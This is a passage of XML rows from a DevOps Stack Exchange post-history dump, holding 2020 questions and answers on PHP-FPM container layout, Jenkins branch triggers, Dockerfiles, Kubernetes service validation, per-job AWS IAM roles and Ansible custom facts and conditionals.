to make, here. Just use the same container for the web server + php-fpm.&#xD;&#xA;&#xD;&#xA;But...&#xD;&#xA;&#xD;&#xA;What is it about breaking off PHP-FPM from the web server (in this case: nginx) increases the scalability of an application? Why not use multiple instances of matching containers with nginx+php-fpm running together? Just as the answer by @simbo1905 suggests with apache2+php-fpm?&#xD;&#xA;&#xD;&#xA;I see the points being made about security and scalability. I understand the concept of scaling up instances of php-fpm containers under heavy load, but nginx makes it VERY easy to load balance such load. Why not have the added benefit of additional load balanced resources if you are concerned about resource the resource usage php-fpm being scalable?&#xD;&#xA;&#xD;&#xA;I'm not sure what the benefits are of having a separate PHP-FPM instance running are if you could just &quot;spend&quot; the extra tiny kb's of disk space and RAM for a more stable and performant application. If the PHP-FPM process(es) or the nginx process(es) fail, the application fails. &#xD;&#xA;&#xD;&#xA;The case for making PHP/PHP-FPM &quot;more secure&quot; by having separated containers seems moot, also, considering the layers of protection to the PHP engine that are locked down by system users/groups with appropriate permissions. If anything, it seems like a larger attack surface for malicious actors to be able to pinpoint the port(s) that PHP-FPM is running on, instead of the &quot;same system default&quot; of connecting to php-fpm via unix socket(s).&#xD;&#xA;&#xD;&#xA;All that said, I'm mostly asking for personal curiosity. I'm somewhat new to the nuances and performance tuning of Docker/Kubernetes, so I feel like there might be something I'm missing. In the research I've done, sometime around late 2019, many Devs/DevOps/Engineers seem to have started to lean towards putting EVERY service in its own separate container with PHP-FPM dependent applications. I have not yet wrapped my head around &quot;why&quot;. It makes sense to me having a separate SQL/Datastore container. It also makes sense to me to isolate the web server in use cases where PHP/php-fpm or some other web server dependent service isn't required as a core function of the entire application. But in the cases where you need both the web server(s) and the back-end services to work in concert, I have yet to understand why the need to separate them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/12361/what-is-the-purpose-of-running-php-fpm-in-its-own-container-instead-in-the-same" ContentLicense="CC BY-SA 4.0" />
  <row Id="37970" PostHistoryTypeId="2" PostId="12363" RevisionGUID="a790288e-08bc-4d52-a4e8-a5d2d1320582" CreationDate="2020-09-07T16:26:51.900" UserId="9877" Text="I'm a bit new to Docker as well, but are you 100% certain that you performed a [Docker push][1] and your commit of your docker image that you're building with composer? And you [have matching versions on the remote and your local machine][2]?&#xD;&#xA;&#xD;&#xA;I'm also not seeing where you are mounting the '~/.guacamole/lib' path in your docker-compose.yml under `volumes:`&#xD;&#xA;&#xD;&#xA;  [1]: https://docs-stage.docker.com/engine/reference/commandline/push/&#xD;&#xA;  [2]: https://stackoverflow.com/questions/46321878/how-to-verify-if-the-content-of-two-docker-images-is-exactly-the-same" ContentLicense="CC BY-SA 4.0" />
  <row Id="37972" PostHistoryTypeId="2" PostId="12364" RevisionGUID="1596a3f7-5485-4209-882a-b41d801cf7ad" CreationDate="2020-09-08T11:53:11.470" UserId="23853" Text="This is a good question and it is worth bearing in mind that that Ops can mean different things in different organizations. There is a) what you might call SysOps which is to do with the reliable running of the systems and which SRE effectively replaces in a DevOps context and b) what one might call Application Support which deals with manual intervention of a platform where there are gaps in the functionality or errors at the application level. &#xD;&#xA;&#xD;&#xA;A Production Support role might cover either or both of these roles whether in a first or second line capacity. SRE is not really there to take on the Application Support function although they may (along with Development) be involved in engineering improvements to the platform to avoid the need for that manual intervention going forwards and through driving effective PIRs. &#xD;&#xA;&#xD;&#xA;In your example the Production Support function seems to already cover much of what an SRE would also be responsible for. Depending on your Production Support Engineer skill set an SRE might approach the solution differently. In your case I would suggest you bring people with SRE skill set (monitoring, automation, DevOps working methods eg effective collaboration, PIR process as well as general SysOps skills) to work with the existing Product Support engineers. Whether you rebrand them as SREs or continue to have 2 roles would depend on their currrent skill set and potential but this could be a good career progression pipeline to recognise." ContentLicense="CC BY-SA 4.0" />
  <row Id="37973" PostHistoryTypeId="2" PostId="12365" RevisionGUID="54bd6970-57b4-4e2a-bd23-9e60f0a32c84" CreationDate="2020-09-08T12:38:18.773" UserId="23854" Text="This is a combination of two things. You need the `BROWSER` variable and there is a bug (as of Sep-2020) where `az-cli` doesn't detect interactive session correctly (https://github.com/microsoft/WSL2-Linux-Kernel/issues/55)&#xD;&#xA;&#xD;&#xA;So you need to modify `~/.bashrc`:&#xD;&#xA;&#xD;&#xA;    export BROWSER=&quot;/c/Program Files (x86)/Google/Chrome/Application/chrome.exe&quot;&#xD;&#xA;&#xD;&#xA;end then you can run your browser spawning commands with prefix `DISPLAY=:0` (sets that environment variable for duration of command; in this case az uses it to determine if the session is interactive and a browser should/could be spawned). So for you:&#xD;&#xA;&#xD;&#xA;    DISPLAY=:0 az aks browse -g &lt;groupname&gt; -n &lt;clustername&gt;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37987" PostHistoryTypeId="2" PostId="12370" RevisionGUID="2acee16a-93d1-4b91-a44a-31a13dfa434a" CreationDate="2020-09-09T05:28:24.270" UserId="23864" Text="I require a setup in jenkins, which enables me to trigger a jenkins job based on a push event to a specific branch in github. tried so many methods neither worked." ContentLicense="CC BY-SA 4.0" />
  <row Id="37988" PostHistoryTypeId="1" PostId="12370" RevisionGUID="2acee16a-93d1-4b91-a44a-31a13dfa434a" CreationDate="2020-09-09T05:28:24.270" UserId="23864" Text="trigger jenkins jobs only when a specific branch is updated" ContentLicense="CC BY-SA 4.0" />
  <row Id="37989" PostHistoryTypeId="3" PostId="12370" RevisionGUID="2acee16a-93d1-4b91-a44a-31a13dfa434a" CreationDate="2020-09-09T05:28:24.270" UserId="23864" Text="&lt;jenkins&gt;&lt;github&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37990" PostHistoryTypeId="2" PostId="12371" RevisionGUID="cce2bf87-c3db-4c86-abb5-5e6252bfa4a8" CreationDate="2020-09-09T07:04:16.730" UserId="354" Text="If you're using the declarative DSL, you can use [`when`](https://www.jenkins.io/doc/book/pipeline/syntax/#when)&#xD;&#xA;&#xD;&#xA;Suppose the branch you're interested in is `main`, have a stage like:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;.&#xD;&#xA;.&#xD;&#xA;.&#xD;&#xA;stages {&#xD;&#xA;  stage('Specific Branch'}&#xD;&#xA;  when { branch 'main' }&#xD;&#xA;  steps {&#xD;&#xA;    // only executed when the main branch is changed&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;.&#xD;&#xA;.&#xD;&#xA;.&#xD;&#xA;```&#xD;&#xA;From the Jenkins docs:&#xD;&#xA;&#xD;&#xA;&gt; Built-in Conditions&#xD;&#xA;&#xD;&#xA;&gt; branch&#xD;&#xA;&#xD;&#xA;&gt;    Execute the stage when the branch being built matches the branch pattern (ANT style path glob) given, for example: when { branch 'master' }. Note that this only works on a multibranch Pipeline.&#xD;&#xA;&#xD;&#xA;&gt;    The optional parameter comparator may be added after an attribute to specify how any patterns are evaluated for a match: EQUALS for a simple string comparison, GLOB (the default) for an ANT style path glob (same as for example changeset), or REGEXP for regular expression matching. For example: when { branch pattern: &quot;release-\\d+&quot;, comparator: &quot;REGEXP&quot;}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;While this will only execute changes to the `main` branch, you still need to configure the job to be executed when changes to that branch are made. This can be done with the [job dsl](https://github.com/jenkinsci/job-dsl-plugin):&#xD;&#xA;&#xD;&#xA;This slightly modified example is taken from the DSL plugin repo:&#xD;&#xA;```&#xD;&#xA;pipelineJob('job-dsl-plugin') {&#xD;&#xA;  definition {&#xD;&#xA;    cpsScm {&#xD;&#xA;      scm {&#xD;&#xA;        git {&#xD;&#xA;          remote {&#xD;&#xA;            url('https://github.com/your/repo')&#xD;&#xA;          }&#xD;&#xA;          branch('*/main')&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;      lightweight()&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="37991" PostHistoryTypeId="5" PostId="9415" RevisionGUID="6dbbb926-ba6e-44d6-9116-c34eb212e1ea" CreationDate="2020-09-09T07:23:11.723" UserId="17182" Comment="improved formatting for code" Text="simple ..&#xD;&#xA;docker ps check the current running images..for simple file example below..&#xD;&#xA;&#xD;&#xA;    FROM ubuntu16&#xD;&#xA;    &#xD;&#xA;    MAINTAINER sreeni (email/domain)&#xD;&#xA;    &#xD;&#xA;    RUN apt-get update&#xD;&#xA;    &#xD;&#xA;    RUN apt-get install -y nginx&#xD;&#xA;    &#xD;&#xA;    ENTRYPOINT [“/usr/sbin/nginx”,”-g”,”daemon off;”]&#xD;&#xA;    &#xD;&#xA;    EXPOSE 80 (port)&#xD;&#xA;&#xD;&#xA;simple docker file...&#xD;&#xA;&#xD;&#xA;# use below docker command&#xD;&#xA;&#xD;&#xA;    docker run -d -p 80:80 --name web server ubuntu16(image name)&#xD;&#xA;&#xD;&#xA;after that check localhost or ip address:80 (open browser and check)&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37992" PostHistoryTypeId="24" PostId="9415" RevisionGUID="6dbbb926-ba6e-44d6-9116-c34eb212e1ea" CreationDate="2020-09-09T07:23:11.723" Comment="Proposed by 17182 approved by -1 edit id of 1272" ContentLicense="CC BY-SA 4.0" />
  <row Id="37993" PostHistoryTypeId="5" PostId="9415" RevisionGUID="aa83fd58-0818-40ee-a6da-4d3e83e67e13" CreationDate="2020-09-09T07:23:11.723" UserId="354" Comment="improved formatting for code" Text="Use `docker ps` to check the current running containers. For example:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;FROM ubuntu16&#xD;&#xA;    &#xD;&#xA;MAINTAINER sreeni (email/domain)&#xD;&#xA;    &#xD;&#xA;RUN apt-get update&#xD;&#xA;    &#xD;&#xA;RUN apt-get install -y nginx&#xD;&#xA;    &#xD;&#xA;ENTRYPOINT [“/usr/sbin/nginx”,”-g”,”daemon off;”]&#xD;&#xA;    &#xD;&#xA;EXPOSE 80 (port)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Use below docker command to run the container:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker run -d -p 80:80 --name web server ubuntu16&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;After that, check localhost or ip address:80 (open browser and check)&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38000" PostHistoryTypeId="2" PostId="12374" RevisionGUID="e565cbb9-1e93-4366-a511-b3c6ebc577f7" CreationDate="2020-09-09T18:23:23.953" UserId="23783" Text="I provided the script to provision a new feature environment inside k8s it will create all the configs required, namespaces, resources and whatever...&#xD;&#xA;&#xD;&#xA;in my script, I described this param:&#xD;&#xA;&#xD;&#xA;    parameters {&#xD;&#xA;    text(name: 'SERVICE_LIST', defaultValue: '', description: 'Services to deploy, separated by line breaks.')}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;when the developer is provisioning a new env, he will provide a list of services that he wants to enable on that environment&#xD;&#xA;&#xD;&#xA;also in my script, I described the following piece of code which are enabling all services requested(its located inside the stage and step):&#xD;&#xA;&#xD;&#xA;    def services = replaced.split('\\n')&#xD;&#xA;       services.each { SERVICE -&gt;&#xD;&#xA;        sh &quot;echo turning on service ${SERVICE}&quot;&#xD;&#xA;        sh &quot;yq w -i  ${DEPLOY_ENV_FOLDER}/services.yaml '${SERVICE}.enabled' true&quot;}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;this is an example of a services file:&#xD;&#xA;&#xD;&#xA;[![service file][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/GJ9wm.png&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;so, when the developer provides the services that he wants, the script goes to this file, enable the services and apply to k8s&#xD;&#xA;&#xD;&#xA;now my question is how to assure that the services provided by the developer are correct and that they exist in the file? otherwise, I need to abort the script. I tried to use `try{} catch{}` in the second piece of code above to define the exception for abort services which are provided by developers incorrectly, do you have any other solution?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38001" PostHistoryTypeId="1" PostId="12374" RevisionGUID="e565cbb9-1e93-4366-a511-b3c6ebc577f7" CreationDate="2020-09-09T18:23:23.953" UserId="23783" Text="How to handle services when the developers provide incorrectly in k8s" ContentLicense="CC BY-SA 4.0" />
  <row Id="38002" PostHistoryTypeId="3" PostId="12374" RevisionGUID="e565cbb9-1e93-4366-a511-b3c6ebc577f7" CreationDate="2020-09-09T18:23:23.953" UserId="23783" Text="&lt;jenkins&gt;&lt;kubernetes&gt;&lt;jenkins-pipeline&gt;&lt;groovy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38003" PostHistoryTypeId="50" PostId="12152" RevisionGUID="02659ee3-bc5c-42b8-bcc4-38f0229afdd3" CreationDate="2020-09-09T20:07:15.820" UserId="-1" />
  <row Id="38004" PostHistoryTypeId="2" PostId="12375" RevisionGUID="636edfc9-0e37-47bd-bc41-e386dbf2e6ca" CreationDate="2020-09-09T20:17:05.123" UserId="23876" Text="To backup Cognito, we use AWS Glue." ContentLicense="CC BY-SA 4.0" />
  <row Id="38006" PostHistoryTypeId="2" PostId="12376" RevisionGUID="e57f9860-2670-4b1a-aa48-2e4166fab72f" CreationDate="2020-09-10T07:06:43.803" UserId="8065" Text="@Mkash, don't you know in advance what services you have in your `services.yaml` file?&#xD;&#xA;&#xD;&#xA;Maintain a list in groovy, and see whether the input is in that list or not.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Something like:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;availableServices = [&quot;ew_ws_gateway&quot;, &quot;ingress&quot;]&#xD;&#xA;&#xD;&#xA;services = [&quot;a&quot;, &quot;b&quot;, &quot;c&quot;, &quot;ew_ws_gateway&quot;]&#xD;&#xA;&#xD;&#xA;services.each { svc -&gt;&#xD;&#xA;    if (svc in availableServices) {&#xD;&#xA;        println(&quot;Service exist&quot; + svc)&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The other option is to change the parameter from type of `text` to multiple-choice possibly using https://plugins.jenkins.io/extended-choice-parameter/" ContentLicense="CC BY-SA 4.0" />
  <row Id="38007" PostHistoryTypeId="2" PostId="12377" RevisionGUID="ce39ddbe-d8a1-4f07-9693-728f5c87580a" CreationDate="2020-09-10T07:29:38.387" UserId="23880" Text="Install the git plugin, add credentials for the account you want it to use, then set the job to use SCM Polling. It will check on a preset interval for changes to that repo and trigger when changes are detected. If you need instant triggering upon push, you're looking for webhooks, which is significantly more difficult to set up. I find that polling every 2 minutes or so is good enough in most cases. Here's a decent example: https://www.baeldung.com/jenkins-job-schedule" ContentLicense="CC BY-SA 4.0" />
  <row Id="38008" PostHistoryTypeId="2" PostId="12378" RevisionGUID="f5c0201a-10ca-48ef-9762-59df0a9fe14b" CreationDate="2020-09-10T09:30:57.657" UserId="23212" Text="&#xD;&#xA;Well, I spent hours reading lots of articles, documentation, and finally figured everything out. See the comparative table:&#xD;&#xA;&#xD;&#xA;![Logging &amp; Monitoring technologies by AivanF](https://i.stack.imgur.com/f0kGk.png)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;### Brief description&#xD;&#xA;&#xD;&#xA;**Zabbix** is a full-fledged technology that can deal with both metrics and logs processing, yet can be extended. It also supports automatic hosts detection &amp; network maps building.&#xD;&#xA;&#xD;&#xA;**Prometheus** is a metrics monitoring system. It is Kubernetes native, thus it can automatically detect hosts for data extracting. It also has myriads of available adapters: [docs: Exporters And Integrations](https://prometheus.io/docs/instrumenting/exporters/). To visualize the data, Grafana is used. Speaking about data storage, Prometheus has its own local system for that, but there are integrations with other technologies for sharding, see [docs: Storage](https://prometheus.io/docs/prometheus/latest/storage/).&#xD;&#xA;&#xD;&#xA;**PLG** is a stack for log aggregation. Logs get collected with PromTail, **Loki** is a core processing engine, and Grafana is used as an interface. Loki has no own storage system, so some other solution is required. It stores data as chunks and indexes, which are usually stored separately [docs: Storage](https://grafana.com/docs/loki/latest/operations/storage/). As I understood, PLG has no trigger/notification system, but the data extracting part also can parse logs into metrics and export them into Prometheus, so we get alerts. Also, I met a notice that PromTail [doesn't support multiline logs](https://github.com/grafana/loki/issues/74), but FluentD can be used instead as it is more flexible.&#xD;&#xA;&#xD;&#xA;**ELK / EFK** is a technology stack for logs parsing, indexing, searching, so it can perform complex queries. For data extracting, LogStash was originally used, but FluentD is becoming popular.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38009" PostHistoryTypeId="2" PostId="12379" RevisionGUID="f9b196b7-6b96-4264-80b1-b8e2657ba765" CreationDate="2020-09-10T13:50:09.387" UserId="23891" Text="We have one AWS account in which an Ec2 instance is running where Jenkins is installed, and we have attached an IAM role to it, with s3 access permission.&#xD;&#xA;&#xD;&#xA;We have Jenkins jobs which needed aws permissions, specific to generic ones like either Lambda or CodeCommit and some jobs needed sensitive ones like getParameters and ssh.&#xD;&#xA;&#xD;&#xA;By searching through many forums and articles everone has suggested to attach these permissions to the IAM role which is attached to that EC2 instance.&#xD;&#xA;&#xD;&#xA;So my concerns are..&#xD;&#xA;1) Any user who access the server will also have access to getParameters and they can retrieve information through CLI command.&#xD;&#xA;2) If one Job needs getParameters access, but other job doesn't, can we restrict these permission to individual jobs?&#xD;&#xA;&#xD;&#xA;Questions:&#xD;&#xA;1) Till now I thought of creating new roles in AWS, specific to jobs grouping specific permission and using them through Assume role to use in a Jenkin job. But I was not able to find any topic regarding that since Assume role will switch the current role in Ec2, which I assume but not sure, since I tested once and failed to execute the job.&#xD;&#xA;&#xD;&#xA;And also I read a lot of articles about cross account role access, which I can't do since I have only one account.&#xD;&#xA; &#xD;&#xA;So, Is there any way that I can use a role(created in the same aws account as the EC2 attached role) temporarily in each a job?&#xD;&#xA;&#xD;&#xA;2) What is the best practice If I want to implement the same. As I also thought of grouping the permissions based on severity basis(from generic to sensitive), and give permission to particular job using a role? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Please let me know If anyone has applied above process and kindly suggest if any other way is possible, if above process cannot be applied. Thanks." ContentLicense="CC BY-SA 4.0" />
  <row Id="38010" PostHistoryTypeId="1" PostId="12379" RevisionGUID="f9b196b7-6b96-4264-80b1-b8e2657ba765" CreationDate="2020-09-10T13:50:09.387" UserId="23891" Text="Allow specific AWS permissions(Lambda, S3) / roles to specific Jenkins Jobs within same AWS account" ContentLicense="CC BY-SA 4.0" />
  <row Id="38011" PostHistoryTypeId="3" PostId="12379" RevisionGUID="f9b196b7-6b96-4264-80b1-b8e2657ba765" CreationDate="2020-09-10T13:50:09.387" UserId="23891" Text="&lt;jenkins&gt;&lt;amazon-web-services&gt;&lt;jenkins-pipeline&gt;&lt;aws-cli&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38015" PostHistoryTypeId="2" PostId="12381" RevisionGUID="09be439c-b48d-4aa4-b393-ba1e1748f916" CreationDate="2020-09-10T20:49:19.160" UserId="23895" Text="The ansible_local var is not being populated when using the setup module to gather custom facts on windows.&#xD;&#xA;&#xD;&#xA;**Playbook:**&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;- name: Testing and Debug PB&#xD;&#xA;  hosts: all&#xD;&#xA;  tasks:&#xD;&#xA;  &#xD;&#xA;    - name: Gather Facts&#xD;&#xA;      setup:&#xD;&#xA;        fact_path: 'c:\custom_facts'&#xD;&#xA;&#xD;&#xA;    - debug:&#xD;&#xA;        msg: &quot;{{ hostvars[inventory_hostname] }}&quot;&#xD;&#xA;&#xD;&#xA;    - debug:&#xD;&#xA;        msg: &quot;{{ ansible_local }}&quot;&#xD;&#xA;```&#xD;&#xA;**Contents of &quot;C:\custom_facts\foo.fact&quot; on remote host:**&#xD;&#xA;```&#xD;&#xA;[general]&#xD;&#xA;asdf=1&#xD;&#xA;bar=2&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Playbook Output:&#xD;&#xA;```&#xD;&#xA;ansible-playbook -i inv/dev 301_pb_testing.yml -vv&#xD;&#xA;ansible-playbook 2.9.12&#xD;&#xA;  config file = /etc/ansible/ansible.cfg&#xD;&#xA;  configured module search path = ['/home/alex/.ansible/plugins/modules', '/usr/share/ansible/plugins/modules']&#xD;&#xA;  ansible python module location = /usr/local/lib/python3.6/dist-packages/ansible&#xD;&#xA;  executable location = /usr/local/bin/ansible-playbook&#xD;&#xA;  python version = 3.6.9 (default, Jul 17 2020, 12:50:27) [GCC 8.4.0]&#xD;&#xA;Using /etc/ansible/ansible.cfg as config file&#xD;&#xA;&#xD;&#xA;PLAYBOOK: 301_pb_testing.yml ************************************************************************************************************************************************1 plays in 301_pb_testing.yml&#xD;&#xA;&#xD;&#xA;PLAY [Testing and Debug PB] *************************************************************************************************************************************************&#xD;&#xA;TASK [Gathering Facts] ******************************************************************************************************************************************************task path: /home/alex/git.sigma/SDG-Tech-DevOps/ansible/301_pb_testing.yml:2&#xD;&#xA;ok: [demi-win00]&#xD;&#xA;META: ran handlers&#xD;&#xA;&#xD;&#xA;TASK [facts : Gather Facts] *************************************************************************************************************************************************task path: /home/alex/git.sigma/SDG-Tech-DevOps/ansible/roles/facts/tasks/main.yml:14&#xD;&#xA;ok: [demi-win00]&#xD;&#xA;&#xD;&#xA;TASK [debug] ****************************************************************************************************************************************************************task path: /home/alex/git.sigma/SDG-Tech-DevOps/ansible/301_pb_testing.yml:15&#xD;&#xA;&#xD;&#xA;---------REMOVED SOME HOSTVAR OUTPUT FOR BREVITY AND PRIVACY--------&#xD;&#xA;&#xD;&#xA;ok: [demi-win00] =&gt; &#xD;&#xA;  msg: |-&#xD;&#xA;    ansible_architecture: 64-bit&#xD;&#xA;    ansible_bios_date: 03/31/2014&#xD;&#xA;    ansible_bios_version: rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org&#xD;&#xA;    ansible_check_mode: false&#xD;&#xA;    ansible_connection: winrm&#xD;&#xA;    ansible_date_time:&#xD;&#xA;  ......&#xD;&#xA;    ansible_facts:&#xD;&#xA;   ......&#xD;&#xA;    ansible_kernel: 10.0.17763.0&#xD;&#xA;    ansible_lastboot: '2020-08-29 11:07:46Z'&#xD;&#xA;    ansible_machine_id: S-1-5-21-49790847-4020553596-361474921&#xD;&#xA;   ......&#xD;&#xA;&#xD;&#xA;---------REMOVED SOME HOSTVAR OUTPUT FOR BREVITY AND PRIVACY--------&#xD;&#xA;&#xD;&#xA;TASK [debug] ****************************************************************************************************************************************************************task path: /home/alex/git.sigma/SDG-Tech-DevOps/ansible/301_pb_testing.yml:18&#xD;&#xA;fatal: [demi-win00]: FAILED! =&gt; &#xD;&#xA;  msg: |-&#xD;&#xA;    The task includes an option with an undefined variable. The error was: 'ansible_local' is undefined&#xD;&#xA;  &#xD;&#xA;    The error appears to be in '/home/alex/git.sigma/SDG-Tech-DevOps/ansible/301_pb_testing.yml': line 18, column 7, but may&#xD;&#xA;    be elsewhere in the file depending on the exact syntax problem.&#xD;&#xA;  &#xD;&#xA;    The offending line appears to be:&#xD;&#xA;  &#xD;&#xA;  &#xD;&#xA;        - debug:&#xD;&#xA;          ^ here&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ansible 2.9.12&#xD;&#xA;  config file = /etc/ansible/ansible.cfg&#xD;&#xA;  configured module search path = ['/home/alex/.ansible/plugins/modules', '/usr/share/ansible/plugins/modules']&#xD;&#xA;  ansible python module location = /usr/local/lib/python3.6/dist-packages/ansible&#xD;&#xA;  executable location = /usr/local/bin/ansible&#xD;&#xA;  python version = 3.6.9 (default, Jul 17 2020, 12:50:27) [GCC 8.4.0]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The ansible Controller is running debian, The remote is Windows Server 2019&#xD;&#xA;&#xD;&#xA;I would expect ansible_local to be populated once setup is run over a valid custom fact, but It doesn't. What am I doing wrong?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38016" PostHistoryTypeId="1" PostId="12381" RevisionGUID="09be439c-b48d-4aa4-b393-ba1e1748f916" CreationDate="2020-09-10T20:49:19.160" UserId="23895" Text="The ansible_local var is not being populated when using the setup module to gather custom facts on windows" ContentLicense="CC BY-SA 4.0" />
  <row Id="38017" PostHistoryTypeId="3" PostId="12381" RevisionGUID="09be439c-b48d-4aa4-b393-ba1e1748f916" CreationDate="2020-09-10T20:49:19.160" UserId="23895" Text="&lt;ansible&gt;&lt;windows&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38018" PostHistoryTypeId="2" PostId="12382" RevisionGUID="dec2ee87-3084-486d-bef0-fa862d98a972" CreationDate="2020-09-11T02:16:02.607" UserId="12988" Text="I'm trying to get the output from a command on the first host in group managers and execute it on the other hosts in the same group.&#xD;&#xA;&#xD;&#xA;hosts file&#xD;&#xA;&#xD;&#xA;    [managers]&#xD;&#xA;    k8s01&#xD;&#xA;    k8s02&#xD;&#xA;    k8s03&#xD;&#xA;    &#xD;&#xA;    [workers]&#xD;&#xA;    worker1&#xD;&#xA;    worker2&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;main.yaml&#xD;&#xA;&#xD;&#xA;    - name: Create token to join cluster&#xD;&#xA;      shell: kubeadm token create --print-join-command&#xD;&#xA;      run_once: true&#xD;&#xA;      changed_when: false&#xD;&#xA;      when: inventory_hostname == groups['managers'][0]&#xD;&#xA;      register: kubernetes_join_command_result&#xD;&#xA;    &#xD;&#xA;    -name: Set join command for managers&#xD;&#xA;    - set_fact:&#xD;&#xA;        kubernetes_join_command_controlplane: &quot;{{ kubernetes_join_command_result.stdout }} --control-plane&quot;&#xD;&#xA;      when: kubernetes_join_command_result.stdout is defined&#xD;&#xA;      delegate_to: &quot;{{ item }}&quot;&#xD;&#xA;      delegate_facts: true&#xD;&#xA;      with_items: &quot;{{ groups['managers'] }}&quot;   &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    - name: Debug var&#xD;&#xA;      debug:&#xD;&#xA;        msg: 'Join Command: {{ kubernetes_join_command_result.stdout }}'&#xD;&#xA;    &#xD;&#xA;    - name: Join managers into cluster      &#xD;&#xA;      shell: &quot;{{ kubernetes_join_command_controlplane.stdout }}&quot;&#xD;&#xA;      args:&#xD;&#xA;        warn: no&#xD;&#xA;      when: inventory_hostname != groups['managers'][0] and inventory_hostname in groups['managers']&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Instead of running the join command in hosts k8s02 and k8s03, I get the output below.&#xD;&#xA;&#xD;&#xA;skipping: [k8s01] =&gt; {&quot;changed&quot;: false, &quot;skip_reason&quot;: &quot;Conditional result was False&quot;}&#xD;&#xA;&#xD;&#xA;Skip k8s01 is expected but not the others" ContentLicense="CC BY-SA 4.0" />
  <row Id="38019" PostHistoryTypeId="1" PostId="12382" RevisionGUID="dec2ee87-3084-486d-bef0-fa862d98a972" CreationDate="2020-09-11T02:16:02.607" UserId="12988" Text="Ansible: Run tasks on specific hosts with var/fact from another host" ContentLicense="CC BY-SA 4.0" />
  <row Id="38020" PostHistoryTypeId="3" PostId="12382" RevisionGUID="dec2ee87-3084-486d-bef0-fa862d98a972" CreationDate="2020-09-11T02:16:02.607" UserId="12988" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38021" PostHistoryTypeId="2" PostId="12383" RevisionGUID="97ed5030-86e9-4090-95fb-c5db715472e5" CreationDate="2020-09-11T05:34:43.783" UserId="7715" Text="The condition works as expected. For example, the inventory and the playbook below&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;shell&gt; cat hosts&#xD;&#xA;[managers]&#xD;&#xA;k8s01&#xD;&#xA;k8s02&#xD;&#xA;k8s03&#xD;&#xA;&#xD;&#xA;[workers]&#xD;&#xA;worker1&#xD;&#xA;worker2&#xD;&#xA;&#xD;&#xA;shell&gt; cat playbook.yml &#xD;&#xA;- hosts: all&#xD;&#xA;  gather_facts: false&#xD;&#xA;  tasks:&#xD;&#xA;    - debug:&#xD;&#xA;        var: inventory_hostname&#xD;&#xA;      when:&#xD;&#xA;        - inventory_hostname != groups['managers'][0]&#xD;&#xA;        - inventory_hostname in groups['managers']&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;give&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;shell&gt; ansible-playbook -i hosts playbook.yml &#xD;&#xA;&#xD;&#xA;PLAY [all] ****&#xD;&#xA;&#xD;&#xA;TASK [debug] ****&#xD;&#xA;skipping: [worker1]&#xD;&#xA;ok: [k8s02] =&gt; {&#xD;&#xA;    &quot;inventory_hostname&quot;: &quot;k8s02&quot;&#xD;&#xA;}&#xD;&#xA;skipping: [k8s01]&#xD;&#xA;skipping: [worker2]&#xD;&#xA;ok: [k8s03] =&gt; {&#xD;&#xA;    &quot;inventory_hostname&quot;: &quot;k8s03&quot;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
